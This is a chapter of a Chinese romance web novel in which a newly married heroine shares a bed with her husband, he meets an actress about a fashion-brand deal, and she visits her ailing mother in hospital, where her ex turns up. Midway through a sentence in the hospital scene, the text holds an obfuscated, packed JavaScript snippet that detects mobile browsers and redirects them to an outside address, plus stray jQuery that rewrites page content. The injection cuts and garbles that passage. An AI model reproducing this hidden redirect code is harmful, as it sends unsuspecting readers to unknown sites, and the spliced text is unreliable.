23. chapter23

作品:《念念为卿

    又在鬼扯。


    也不知他和多少女人说过这样的情话……


    他松了手,胸膛却没挪开,紧贴在她的背上。


    时念卿刻意往被子里缩了缩,将脸埋进柔软的枕芯,只露出一小截乌黑的发顶。


    她刻意放缓了呼吸,绵长又均匀,模拟了困极时的呼吸节奏。


    空调的温度打的很足,冷气丝丝缕缕地浸在屋里,将夏夜的燥热彻底挡在窗外。


    她搭在被子外的手背在冷气下微微发凉,指尖无意识地蜷缩了下。


    “冷?”


    低哑的声音在她耳廓响起。


    她迷迷糊糊地“嗯”了一声。


    叶温臣动了下,圈在她腰间的力道松了松,带着布料窸窣的摩擦声。


    她以为他谁要去拿空调遥控器调温度,下意识往旁边挪了挪,想给他腾个空间。


    她保持着这个动作,又等了好一瞬。


    没听见遥控器降温的声响。


    腰上的手忽然一紧,非但没松开,反倒将她往怀里带的更沉了些。


    “这样,还冷不冷?”


    他的声音裹着温热的气息,从耳廓又一次漫了过来。


    像浸了水的丝绸,擦过肌肤时留下一片滚烫的痒意。


    他根本没起身的意思,只是调整了下手臂的角度,让她的侧脸彻底抵进他的肩窝——


    肌肤散发出的天然温意,填满了她的感官。


    叶温臣另只垫在她颈后的手微微抬起,将她的头往肩窝的方向拢了拢。


    他的手指不经意地插进她的发丝,指腹碾过她的头皮,温软中带着几许痒意。


    时念卿的呼吸微不可察地急促了些。


    原本平稳的气流忽然乱了半拍,像在风下无意晃动的烛火。


    他微微一顿,指节悬停在她后颈上方,距离她柔软的肌肤只有半寸,却没再动。


    空气停滞了几秒,除却空调运作的轻微声响外,只剩下他轻缓的呼吸声。


    腰间的力道忽然松开,“晚安。”


    后背瞬时空凉,只留了半寸温热的余温。


    她没动,去也感觉到他将身子侧了过去,床褥随着他姿势的调整陷下了一块。


    随即,身侧的被子被轻轻往上拉了拉,盖住了她露在外面的肩头。


    时念卿的眼皮越来越沉,终于在迷糊中彻底阖上。


    呼吸真正地平稳了下来,一如晚风拂过湖面,漾开浅淡的涟漪。


    起初时念卿还规规矩矩的蜷着,没过多久,就无意识地翻了个身。


    原本盖在她身上的薄被滑到腰侧,露出一小片光洁的后背,像被月色浸过的美玉。


    他侧身,又替她掖了掖被角——


    她睡觉的姿势一点也不老实。


    ——


    周六,她比平时醒得晚些。


    张姨早已贴心地准备了早餐,且是按照她的喜好准备的。


    大概是叶温臣特意叮嘱过的。


    叶温臣很少在家里处理工作,也或许是因为他们各自从事不同领域的工作,她以为叶温臣的工作应该不算繁忙。


    但听张姨说,叶温臣一早便出门去了公司,说是要谈一场重要的合作。


    “夫人,小臣说不让把柿子送走,那您就安心养着吧。”


    张姨端来一杯温好的牛奶,笑着往阳台的方向瞥了眼:“小家伙长大了不少,现在都能去猫爬架上打盹了,乖得很。”


    她喝了口牛奶,“麻烦张姨照看了。”


    “不麻烦不麻烦。”张姨笑得眉眼弯弯,“小臣还说,您要是闷得慌,可以让司机带您去新开的商场逛逛,他今晚估计会很晚回来。”


    “没关系张姨,我下午有点事。”


    时念卿搅动着杯里的牛奶,奶泡在表层漾开细小的涟漪。


    “需要让司机送您吗?”


    “不用。”


    她握着杯壁的指节紧了紧。


    ——


    叶温臣的办公室在集团总部的顶层。


    空间设计是极简的冷调,没有多余的装饰,延续了前任掌权人叶濯青的风格。


    家具都是低饱和的色系,唯一的亮色是茶几上一只青瓷的兔形香薰。


    釉色是清透的天青,带着雨过天晴般的柔和光泽。兔子的耳朵微微竖起,前爪拢在身前,线条圆润得不像这冷调空间里该有的物件。


    香薰正缓缓冒着白汽,雪松混着一点若有似无的甜香漫出来,冲淡了空气中过于凛冽的疏离感。


    “叶总,秦小姐来了。”


    秘书的声音透过内线传来,带着职业性的平稳。


    “请她进来……”


    话音未落,办公室的门没被敲响,而是“咔哒”一声被人直接推开,带着股浓烈的玫瑰香水味闯了进来。


    秦滟穿着一身亮片吊带裙,裙摆堪堪及膝,露出线条笔直的长腿。她的妆容是精心勾勒过的明艳,红唇微勾,眼神带着点漫不经心的张扬。


    秦滟踩着细高跟走进,路过茶几时,目光在瓷兔香薰上驻留了一瞬:“你什么时候喜欢这种小玩意了?”


    她说着,伸手就要去碰,指尖刚要触到兔子耳朵,就被一道冷冽的视线钉住了。


    “别碰。”


    叶温臣的声音沉了沉,带着不容置喙的警告。


    “温臣,我刚拍完杂志就过来了,连妆都没来得及卸,你也不来迎我?”


    她自然地坐到沙发上,指尖把玩着新做不久的酒红色长甲,声里裹着点刻意的娇软,却掩不住骨子里的明艳锐利,“还说要请我做你们ECLAT的品牌代言人,真没诚意。”


    ECLAT是叶氏集团旗下的服装品牌。


    品牌秉持独特的设计理念,将前沿的时尚元素与精湛的制作工艺相融合。设计团队深入研究全球时尚趋势,从建筑、艺术、自然等多元领域汲取灵感,从而赋予每一件服装独特的灵魂。


    因此,在代言人的选取上尤为慎重。


    ECLAT实际上并没有确立任何一位品牌代言人,但不同的系列会选取一位品牌挚友,如果合作愉快,也可以会升级为品牌大使。


    叶温臣笑了笑,抬手指示助理沏了一壶茶:“秦小姐,对接和你说的应该是品牌挚友。”


    品牌挚友和品牌代言人的性质不同,这一点上,容不得混淆。


    ECLAT下半年刚好要推出“锋芒”系列,设计灵感源自玻璃幕墙的锐利光影,要的就是打破常规的明艳张力。


    秦滟的镜头感够强,红毯上那种攻击性的美和系列那些亮片拼接、几何剪裁的设计很契合。


    ECLAT品牌需要一张既有话题度,又能撑得起“锋芒”二字的脸,而秦滟确实是个合适的人选。


    “秦小姐……叫的这么陌生。”


    秦滟挑了挑眉,指尖顿在发尾,语气虽是笑着,眼底的锐利却没藏住:“还是说,叶少婚后从良了?”


    “之前风月场上的事,我和秦小姐解释得很清楚了。”


    “我之所以问秦小姐要联系方式,是与朋友玩大冒险时输了,应的朋友要求。”


    叶温臣的声音没什么起伏,指尖抵在钢笔上,轻轻转了半圈。


    “那个女人有什么好的?”秦滟喝了口茶,掀了掀眼皮,道:“听说她是个圈外人,却也不过是名头上的陆家千金,陆家财产的继承权显然在陆蔓茵手里。”


    “秦小姐。”叶温臣将钢笔搁在桌上,发出一声轻响:“现在我们是ECLAT与品牌挚友的关系,只谈公事。”


    秦滟笑了下,眸中淌过一丝冷意:“可以,那今天,我们就只谈公事。”


    ——


    恒德医院是澄江市私立医院的翘楚。


    环境清幽,设备先进,医疗技术卓越……


    除却价格高昂外,挑不出任何的缺点。


    当然,这里的VIP床位,单有钱也是不够的。


    陆振修为了让她心甘情愿地与叶温臣联姻,动用了各方的人脉,才在恒德医院为她母亲争取到这间环境极好的单人病房。


    当然,她没和母亲说实话。


    只编了个瞎话,说林予真的公司与院长有合作,以极其优惠的价格申请到这间病房。


    费用不成问题,她会慢慢还上。


    病房在住院部顶层,推门便是独立的会客厅,浅灰色沙发铺着羊绒毯,落地窗正对着医院最茂密的香樟林,风过时叶影在米白色墙面上晃动,几乎闻不到药味。


    “妈,这里住着还舒服吗?”


    她走到床边,顺手把保温盒放到床头柜上。


    时玉潋躺在病床上,脸色是久病带来的苍白,却难掩骨子里的温润气质。


    “住这么好的病房,还有什么不舒服的?”


    “妈,下周咱们去国外治病,好不好?”


    陆振修说国外那边的医生正


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15927077|176356||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在休假,手术可能要推迟到下周进行。


    时玉潋靠在床头,手里翻着一本旧相册,指尖刚好停落在一张泛黄的合影上——


    那是时念卿小时候,她抱着孩子站在老巷子的石榴树下,笑得眉眼弯弯。


    她缓缓抬起头,苍白的脸上浮起一抹浅淡的笑意,声音轻得像羽毛:“傻孩子,折腾那趟干什么。”


    “国外有更先进的疗法……而且,真真都帮我们安排好了。”


    时念卿的声音有些发紧,伸手想去握母亲的手,却被对方轻轻避开。


    很多时候,多亏了有林予真,她才能一次又一次的编瞎话。


    时玉潋放下相册,枯瘦的手指抚了抚女儿的发顶:“妈自己的身体自己清楚,在哪治都差不多。”


    她顿了顿,目光落在窗外那片香樟林上,“再说了,我舍不得这里的树。你看这叶子绿得多好,跟小巷里的那棵多像。”


    “可是……”


    门外忽然被人轻轻扣了两下。


    她以为是值班的护士,便去开了门。


    “念念,我来看看伯母。”


    穿着休闲T恤的沈之言站在门外,手里捧着一大束康乃馨,粉白渐变的花瓣裹着清浅的香气,被透明玻璃纸仔细裹着,


    她惊诧非常——


    沈之言是怎么找过来的。


    但她很快就又想明白了。


    上回沈之言确实说过要来探望她母亲。


    她以为沈之言只是随口一说,没想到他现今不要脸的程度已经是她无法想象的了。


    碍于时玉潋在场,她先把花放到床头柜上,勉强挤出一缕笑来:“妈,我和之言说两句话,一会儿进来。”


    门前的走廊人少显眼,她特意去到了人多的大厅。


    她站在靠近导医台的位置,声里压着抑制不住的怒意:“沈之言,你过分了。”


    “念念,我只是想来看看伯母。”沈之言往前半步,“而且伯母已经知道我来看她,这个时候再走,她会起疑的。”


    不知从什么时候开始,沈之言也成了她最讨厌的那类人——


    不惜胁迫他人,以达成自己的目的。


    这一点,和陆振修很像。


    她抬眸,冷冷地看着他。


    眸光里除却怒意外,还混着几许浅淡的失望,像被冷水浇过的火星,微泛着红。


    同沈之言,她已经无话可说。


    时念卿闭了闭眼,再睁开时,眼底的情绪都压了下去,只剩一片冷寂:“看完这一次,以后不要再来了。”


    大厅里人潮涌动,挂号的长队蜿蜒到门口,推着轮椅的家属、抱着病历本小跑的患者全都挤在一起,空气里弥漫着焦灼的气息。


    手机屏幕忽然亮了一下,她刚想打开,忽然被沈之言往外一拉——


    “小心!”


    沈之言的声音带着急意,她踉跄着撞进他的怀里,还没站稳,就听见身后传来“哐当”一声。


    一个装满检查单的文件夹掉在地上,纸张散落一地。


    原来是个护士抱着托盘匆匆经过,差点和她撞个正着。


    “抱歉抱歉!”


    护士慌忙去捡文件,她回过神,挣开沈之言的手,淡声道了句:“谢谢。”


    沈之言的手还维持着拉她的姿势,他看着地上散落的纸张,温声道:“这里人多,走路时就别看手机分心了。”


    ——


    导医台处,头顶的白炽灯亮如白昼,灯管发出细微的嗡鸣,与嘈杂的人声交织在一起。


    男人侧身立在导医台旁,手里捧着一大束石榴花,绯红的花瓣层层叠叠,裹着饱满的花萼,被透明玻璃纸束着,在白光下显得格外热烈,甚至带着点灼目的艳。


    护士正低头核对信息,余光瞥见那束花,忍不住多望了两眼——


    医院里常见康乃馨、百合,这样热烈的石榴花倒是少见。


    “先生,您要找的病房在VIP……”


    叶温臣的视线越过熙攘的人群,落在那对扎眼的背影上。


    距离不算远,他看得一清二楚。


    他捏着纸束的指节动了动,边缘玻璃纸束上的褶皱又深了几分。


    石榴花的花瓣被他无意识地攥得微微发蔫,绯红的颜色透过玻璃纸渗出来,像一滴悬而未落的血。


    很好。


    他回眸,将花束放到导医台上:“谢谢,不用了,这花送你了。”